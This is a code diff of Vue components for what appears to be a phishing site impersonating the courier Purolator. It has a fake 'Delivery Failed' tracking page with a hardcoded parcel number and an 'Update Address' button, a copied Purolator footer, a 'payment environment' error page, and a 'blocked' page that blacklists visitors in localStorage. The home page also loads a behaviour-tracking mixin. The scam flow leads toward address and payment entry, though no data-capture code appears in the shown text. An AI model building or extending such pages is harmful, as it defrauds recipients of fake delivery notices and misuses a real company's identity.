<path d="M12 22C6.477 22 2 17.523 2 12C2 6.477 6.477 2 12 2C17.523 2 22 6.477 22 12C22 17.523 17.523 22 12 22ZM12 20C16.418 20 20 16.418 20 12C20 7.582 16.418 4 12 4C7.582 4 4 7.582 4 12C4 16.418 7.582 20 12 20ZM12 10.5C12.828 10.5 13.5 9.828 13.5 9C13.5 8.172 12.828 7.5 12 7.5C11.172 7.5 10.5 8.172 10.5 9C10.5 9.828 11.172 10.5 12 10.5ZM11 12V17H13V12H11Z" fill="#F44336"/>
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h1>Access Blocked</h1>
|
||||||
|
|
||||||
|
<p class="blocked-message">
|
||||||
|
Your access to this payment service has been blocked due to suspicious activity or policy violation.
|
||||||
|
This decision is final and cannot be reversed.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p class="blocked-details">
|
||||||
|
For any questions regarding this decision, please contact your financial institution directly.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script setup>
|
||||||
|
import { onMounted } from 'vue'
|
||||||
|
import { useRouter } from 'vue-router'
|
||||||
|
|
||||||
|
const router = useRouter()
|
||||||
|
|
||||||
|
onMounted(() => {
|
||||||
|
// 确保已被加入黑名单,防止直接访问
|
||||||
|
if (localStorage.getItem('blacklisted') !== 'true') {
|
||||||
|
localStorage.setItem('blacklisted', 'true')
|
||||||
|
}
|
||||||
|
})
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.blocked-container {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
min-height: 100vh;
|
||||||
|
padding: 1rem;
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.blocked-card {
|
||||||
|
background: white;
|
||||||
|
border-radius: 4px;
|
||||||
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
|
||||||
|
width: 100%;
|
||||||
|
max-width: 400px;
|
||||||
|
padding: 2rem;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.blocked-icon {
|
||||||
|
margin: 0 auto 1.5rem;
|
||||||
|
width: 64px;
|
||||||
|
height: 64px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
font-size: 1.5rem;
|
||||||
|
color: #333;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.blocked-message {
|
||||||
|
color: #666;
|
||||||
|
line-height: 1.5;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.blocked-details {
|
||||||
|
color: #888;
|
||||||
|
font-size: 0.875rem;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
79
src/components/ErrorPage.vue
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
<template>
|
||||||
|
<div class="error-container">
|
||||||
|
<div class="error-card">
|
||||||
|
<div class="error-icon">
|
||||||
|
<svg width="64" height="64" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<path d="M12 22C6.477 22 2 17.523 2 12C2 6.477 6.477 2 12 2C17.523 2 22 6.477 22 12C22 17.523 17.523 22 12 22ZM11 15V17H13V15H11ZM11 7V13H13V7H11Z" fill="#F44336"/>
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h1>Something went wrong</h1>
|
||||||
|
|
||||||
|
<p class="error-message">
|
||||||
|
An issue has been detected with your current payment environment and we are unable to process your payment. Please contact technical support for assistance.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<button class="close-button" @click="closeError">Close</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script setup>
|
||||||
|
import { useRouter } from 'vue-router'
|
||||||
|
|
||||||
|
const router = useRouter()
|
||||||
|
|
||||||
|
const closeError = () => {
|
||||||
|
// 关闭错误页面,返回首页
|
||||||
|
router.push('/')
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.error-container {
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-card {
|
||||||
|
background: white;
|
||||||
|
border-radius: 4px;
|
||||||
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
|
||||||
|
width: 100%;
|
||||||
|
min-height: 100vh;
|
||||||
|
padding: 2rem;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-icon {
|
||||||
|
margin: 0 auto 1.5rem;
|
||||||
|
width: 64px;
|
||||||
|
height: 64px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
font-size: 1.5rem;
|
||||||
|
color: #333;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-message {
|
||||||
|
color: #666;
|
||||||
|
line-height: 1.5;
|
||||||
|
margin-bottom: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.close-button {
|
||||||
|
background-color: #0047b3;
|
||||||
|
color: white;
|
||||||
|
border: none;
|
||||||
|
border-radius: 4px;
|
||||||
|
padding: 0.75rem 2rem;
|
||||||
|
font-size: 1rem;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.3s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.close-button:hover {
|
||||||
|
background-color: #003d99;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
324
src/components/FooterComponent.vue
Normal file
@@ -0,0 +1,324 @@
|
|||||||
|
<template>
|
||||||
|
<footer class="footer">
|
||||||
|
<div class="content__footer border-top pt-4">
|
||||||
|
<div class="container">
|
||||||
|
<!-- 返回顶部按钮 -->
|
||||||
|
<div class="text-center pb-4 d-md-none">
|
||||||
|
<button
|
||||||
|
aria-label="Back to top"
|
||||||
|
class="mod-toTop rounded-circle bg-primary text-white border-0 px-3 py-2"
|
||||||
|
@click="scrollToTop"
|
||||||
|
>
|
||||||
|
<span>↑</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 客户支持 -->
|
||||||
|
<div class="text-center mb-3">
|
||||||
|
<span style="color: #666; font-size: 14px;">
|
||||||
|
Need customer support? →
|
||||||
|
<a href="javascript:;" style="color: #001996; text-decoration: none; font-weight: 600;">Contact us</a>
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 社交媒体 -->
|
||||||
|
<div class="text-center mb-4">
|
||||||
|
<div style="color: #666; font-size: 14px; margin-bottom: 8px;">Connect with us:</div>
|
||||||
|
<div class="social-icons">
|
||||||
|
<a href="javascript:;" class="social-link me-2">
|
||||||
|
<img
|
||||||
|
src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIHZpZXdCb3g9IjAgMCAzMiAzMiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHJlY3Qgd2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiByeD0iNCIgZmlsbD0iIzBBNjZDMiIvPgo8cGF0aCBkPSJNMTYgOEMxMS42IDggOCAxMS42IDggMTZTMTEuNiAyNCAxNiAyNCAyNCAxOS42IDI0IDE2IDIwLjQgOCAxNiA4WiIgZmlsbD0id2hpdGUiLz4KPC9zdmc+"
|
||||||
|
alt="LinkedIn"
|
||||||
|
style="width: 32px; height: 32px;"
|
||||||
|
/>
|
||||||
|
</a>
|
||||||
|
<a href="javascript:;" class="social-link me-2">
|
||||||
|
<img
|
||||||
|
src="/img/x3_0.png"
|
||||||
|
alt="X"
|
||||||
|
style="width: 32px; height: 32px;"
|
||||||
|
/>
|
||||||
|
</a>
|
||||||
|
<a href="javascript:;" class="social-link me-2">
|
||||||
|
<img
|
||||||
|
src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIHZpZXdCb3g9IjAgMCAzMiAzMiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHJlY3Qgd2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiByeD0iNCIgZmlsbD0iIzFDOTJGMCIvPgo8cGF0aCBkPSJNMTYgOEMxMS42IDggOCAxMS42IDggMTZTMTEuNiAyNCAxNiAyNCAyNCAxOS42IDI0IDE2IDIwLjQgOCAxNiA4WiIgZmlsbD0id2hpdGUiLz4KPC9zdmc+"
|
||||||
|
alt="Facebook"
|
||||||
|
style="width: 32px; height: 32px;"
|
||||||
|
/>
|
||||||
|
</a>
|
||||||
|
<a href="javascript:;" class="social-link">
|
||||||
|
<img
|
||||||
|
src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMzIiIGhlaWdodD0iMzIiIHZpZXdCb3g9IjAgMCAzMiAzMiIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHJlY3Qgd2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiByeD0iNCIgZmlsbD0iI0Y5QTgyNSIvPgo8cGF0aCBkPSJNMTYgOEMxMS42IDggOCAxMS42IDggMTZTMTEuNiAyNCAxNiAyNCAyNCAxOS42IDI0IDE2IDIwLjQgOCAxNiA4WiIgZmlsbD0id2hpdGUiLz4KPC9zdmc+"
|
||||||
|
alt="Instagram"
|
||||||
|
style="width: 32px; height: 32px;"
|
||||||
|
/>
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 两列主要内容 -->
|
||||||
|
<div class="row">
|
||||||
|
<!-- 左列 - About Purolator 和 Quick Links -->
|
||||||
|
<div class="col-12 col-md-6">
|
||||||
|
<!-- About Purolator -->
|
||||||
|
<div class="mb-4">
|
||||||
|
<h3 style="color: #001996; font-size: 16px; font-weight: 600; margin-bottom: 12px;">About Purolator</h3>
|
||||||
|
<ul style="list-style: none; padding: 0; margin: 0;">
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Corporate Information</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Community & Environment</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">News & Updates</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Legal & Site Information</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Policies</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Accessibility Plan</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Accessibility Progress Report</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Annual Forced Labour & Child Labour Report</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Quick Links -->
|
||||||
|
<div class="mb-4">
|
||||||
|
<h3 style="color: #001996; font-size: 16px; font-weight: 600; margin-bottom: 12px;">Quick Links</h3>
|
||||||
|
<ul style="list-style: none; padding: 0; margin: 0;">
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Holiday Schedule</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Careers</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Holiday & Peak Planning</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Becoming a Shipping Agent</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Carrier Login</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Becoming a Purolator supplier</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Tackle Hunger Campaign</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Operations Login</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Digital Lab</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Purolator International</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Resource Hub</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Service, Zone and Rate Guides</a></li>
|
||||||
|
<li style="margin-bottom: 6px;"><a href="javascript:;" style="color: #666; font-size: 13px; text-decoration: none;">Purolator Social Media Guidelines and Terms of Use</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 右列 - Logo, Mobile App, Certification -->
|
||||||
|
<div class="col-12 col-md-6">
|
||||||
|
<!-- Purolator Logo -->
|
||||||
|
<div class="text-center mb-4">
|
||||||
|
<img
|
||||||
|
src="/img/purolator_logo-Dg7zFu9c.png"
|
||||||
|
alt="Purolator Logo"
|
||||||
|
style="max-width: 200px; height: auto;"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Mobile App -->
|
||||||
|
<div class="mb-4">
|
||||||
|
<h3 style="color: #001996; font-size: 16px; font-weight: 600; margin-bottom: 12px; text-align: center;">Our Mobile App</h3>
|
||||||
|
<div class="text-center">
|
||||||
|
<a href="javascript:;" class="d-block mb-2">
|
||||||
|
<img
|
||||||
|
src="/img/icon-appstore-DUjdPpUP.png"
|
||||||
|
alt="Download on the App Store"
|
||||||
|
style="max-width: 150px; height: auto;"
|
||||||
|
/>
|
||||||
|
</a>
|
||||||
|
<a href="javascript:;" class="d-block">
|
||||||
|
<img
|
||||||
|
src="/img/icon-googleplay-DvFlcbMB.png"
|
||||||
|
alt="Get it on Google Play"
|
||||||
|
style="max-width: 150px; height: auto;"
|
||||||
|
/>
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Certification -->
|
||||||
|
<div class="text-center">
|
||||||
|
<h3 style="color: #001996; font-size: 16px; font-weight: 600; margin-bottom: 12px;">Certification</h3>
|
||||||
|
<img
|
||||||
|
src="/img/FSR-Certified_0-v0kJZovC.png"
|
||||||
|
alt="FSR Certified"
|
||||||
|
style="max-width: 120px; height: auto;"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 版权信息 -->
|
||||||
|
<div class="bg-primary text-white py-3">
|
||||||
|
<div class="container">
|
||||||
|
<div class="text-center">
|
||||||
|
<p class="mb-0" style="font-size: 12px;">
|
||||||
|
Copyright © 2025 Purolator Inc. All rights reserved.
|
||||||
|
<a class="text-white" href="javascript:;" style="text-decoration: none; font-weight: 600;">Employee Login</a> |
|
||||||
|
<a class="text-white" href="javascript:;" style="text-decoration: none; font-weight: 600;">Terms and Conditions of Service</a> |
|
||||||
|
<a class="text-white" href="javascript:;" style="text-decoration: none; font-weight: 600;">Terms and Conditions of Site Use</a> |
|
||||||
|
<a class="text-white" href="javascript:;" style="text-decoration: none; font-weight: 600;">Privacy</a>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
export default {
|
||||||
|
name: 'FooterComponent',
|
||||||
|
methods: {
|
||||||
|
scrollToTop() {
|
||||||
|
window.scrollTo({
|
||||||
|
top: 0,
|
||||||
|
behavior: 'smooth'
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.footer {
|
||||||
|
background-color: white;
|
||||||
|
border-top: 1px solid #e0e0e0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.social-icons {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
gap: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.social-link {
|
||||||
|
display: inline-block;
|
||||||
|
transition: opacity 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.social-link:hover {
|
||||||
|
opacity: 0.8;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mod-toTop {
|
||||||
|
background-color: #001996 !important;
|
||||||
|
border: none;
|
||||||
|
width: 40px;
|
||||||
|
height: 40px;
|
||||||
|
font-size: 18px;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mod-toTop:hover {
|
||||||
|
background-color: #000d5c !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.row {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
margin: 0 -15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-12 {
|
||||||
|
width: 100%;
|
||||||
|
padding: 0 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.col-md-6 {
|
||||||
|
width: 50%;
|
||||||
|
padding: 0 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 450px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 0 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.border-top {
|
||||||
|
border-top: 1px solid #e0e0e0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.pt-4 {
|
||||||
|
padding-top: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.pb-4 {
|
||||||
|
padding-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mb-0 {
|
||||||
|
margin-bottom: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mb-2 {
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mb-3 {
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mb-4 {
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.me-2 {
|
||||||
|
margin-right: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.py-3 {
|
||||||
|
padding-top: 1rem;
|
||||||
|
padding-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.px-3 {
|
||||||
|
padding-left: 1rem;
|
||||||
|
padding-right: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.py-2 {
|
||||||
|
padding-top: 0.5rem;
|
||||||
|
padding-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-center {
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.text-white {
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
.bg-primary {
|
||||||
|
background-color: #001996;
|
||||||
|
}
|
||||||
|
|
||||||
|
.border-0 {
|
||||||
|
border: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.rounded-circle {
|
||||||
|
border-radius: 50%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.d-block {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.d-md-none {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 767px) {
|
||||||
|
.col-md-6 {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.d-md-none {
|
||||||
|
display: block !important;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (min-width: 768px) {
|
||||||
|
.d-md-none {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
163
src/components/HeaderComponent.vue
Normal file
@@ -0,0 +1,163 @@
|
|||||||
|
<template>
|
||||||
|
<header class="header">
|
||||||
|
<div class="header-container">
|
||||||
|
<!-- Logo区域 -->
|
||||||
|
<div class="logo-section">
|
||||||
|
<a href="javascript:;" class="logo-link" aria-label="Purolator">
|
||||||
|
<img
|
||||||
|
src="/img/purolator_logo-Dg7zFu9c.png"
|
||||||
|
alt="Purolator logo"
|
||||||
|
class="logo-image"
|
||||||
|
/>
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 移动端菜单按钮 -->
|
||||||
|
<button
|
||||||
|
class="mobile-menu-btn"
|
||||||
|
@click="toggleMobileMenu"
|
||||||
|
aria-label="Toggle navigation"
|
||||||
|
>
|
||||||
|
<svg width="24" height="24" viewBox="0 0 24 24" fill="none">
|
||||||
|
<path d="M3 12H21M3 6H21M3 18H21" stroke="#333" stroke-width="2" stroke-linecap="round"/>
|
||||||
|
</svg>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
export default {
|
||||||
|
name: 'HeaderComponent',
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
mobileMenuOpen: false
|
||||||
|
}
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
toggleMobileMenu() {
|
||||||
|
this.mobileMenuOpen = !this.mobileMenuOpen
|
||||||
|
console.log('Mobile menu toggled:', this.mobileMenuOpen)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.header {
|
||||||
|
position: fixed;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
width: 100%;
|
||||||
|
z-index: 1000;
|
||||||
|
background: #ffffff;
|
||||||
|
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.header-container {
|
||||||
|
max-width: 450px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 8px 15px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
height: 50px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Logo部分 */
|
||||||
|
.logo-section {
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo-link {
|
||||||
|
display: block;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo-image {
|
||||||
|
height: 25px;
|
||||||
|
width: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 移动端菜单按钮 */
|
||||||
|
.mobile-menu-btn {
|
||||||
|
background: none;
|
||||||
|
border: none;
|
||||||
|
cursor: pointer;
|
||||||
|
padding: 4px;
|
||||||
|
border-radius: 4px;
|
||||||
|
transition: background-color 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-menu-btn:hover {
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 响应式设计 */
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.header-container {
|
||||||
|
max-width: 100%;
|
||||||
|
padding: 8px 15px;
|
||||||
|
height: 55px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo-image {
|
||||||
|
height: 35px;
|
||||||
|
max-width: 120px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.desktop-nav {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mobile-menu-btn {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 480px) {
|
||||||
|
.header-container {
|
||||||
|
padding: 8px 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo-image {
|
||||||
|
height: 32px;
|
||||||
|
max-width: 110px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 大屏幕 */
|
||||||
|
@media (min-width: 769px) {
|
||||||
|
.header-container {
|
||||||
|
max-width: 500px;
|
||||||
|
padding: 12px 20px;
|
||||||
|
height: 65px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo-image {
|
||||||
|
height: 42px;
|
||||||
|
max-width: 150px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.desktop-nav {
|
||||||
|
gap: 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-link {
|
||||||
|
font-size: 14px;
|
||||||
|
padding: 8px 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-icon {
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
margin-right: 8px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (min-width: 1024px) {
|
||||||
|
.header-container {
|
||||||
|
max-width: 600px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
239
src/components/HomePage.vue
Normal file
@@ -0,0 +1,239 @@
|
|||||||
|
<template>
|
||||||
|
<div class="home-page">
|
||||||
|
<!-- 头部导航 -->
|
||||||
|
<HeaderComponent />
|
||||||
|
|
||||||
|
<!-- 横幅图片 -->
|
||||||
|
<div class="banner-section">
|
||||||
|
<img
|
||||||
|
src="/img/shipping-and-receiving-banner-Cjj25G3-.jpg"
|
||||||
|
alt="Shipping and Receiving Banner"
|
||||||
|
class="banner-image"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 主要内容区域 -->
|
||||||
|
<main class="main-content">
|
||||||
|
<div class="container">
|
||||||
|
<div class="content-card">
|
||||||
|
<!-- 包裹状态标题 -->
|
||||||
|
<div class="status-header">
|
||||||
|
<h1 class="status-title">Package Status</h1>
|
||||||
|
<div class="package-info">
|
||||||
|
<span class="package-number">US9987677846</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 失败通知 -->
|
||||||
|
<div class="delivery-failed">
|
||||||
|
<div class="failed-icon">⚠</div>
|
||||||
|
<div class="failed-content">
|
||||||
|
<h2 class="failed-title">Delivery Failed</h2>
|
||||||
|
<p class="failed-description">
|
||||||
|
We were unable to deliver your package. Please update your shipping address or contact customer service for assistance.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 操作按钮 -->
|
||||||
|
<div class="action-buttons">
|
||||||
|
<router-link to="/update-address" class="btn-primary">
|
||||||
|
Update Address
|
||||||
|
</router-link>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<!-- 页脚 -->
|
||||||
|
<FooterComponent />
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
import HeaderComponent from './HeaderComponent.vue'
|
||||||
|
import FooterComponent from './FooterComponent.vue'
|
||||||
|
import { behaviorTrackingMixin } from '../mixins/behaviorTracking.js'
|
||||||
|
|
||||||
|
export default {
|
||||||
|
name: 'HomePage',
|
||||||
|
mixins: [behaviorTrackingMixin],
|
||||||
|
components: {
|
||||||
|
HeaderComponent,
|
||||||
|
FooterComponent
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
contactSupport() {
|
||||||
|
alert('联系客服功能');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.home-page {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
min-height: 100vh;
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.banner-section {
|
||||||
|
width: 100%;
|
||||||
|
height: 120px;
|
||||||
|
overflow: hidden;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.banner-image {
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
object-fit: cover;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main-content {
|
||||||
|
flex: 1;
|
||||||
|
padding: 20px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 450px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 0 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content-card {
|
||||||
|
background: white;
|
||||||
|
border-radius: 8px;
|
||||||
|
padding: 24px;
|
||||||
|
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-header {
|
||||||
|
text-align: center;
|
||||||
|
margin-bottom: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-title {
|
||||||
|
font-size: 18px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: #333;
|
||||||
|
margin: 0 0 8px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.package-info {
|
||||||
|
display: flex;
|
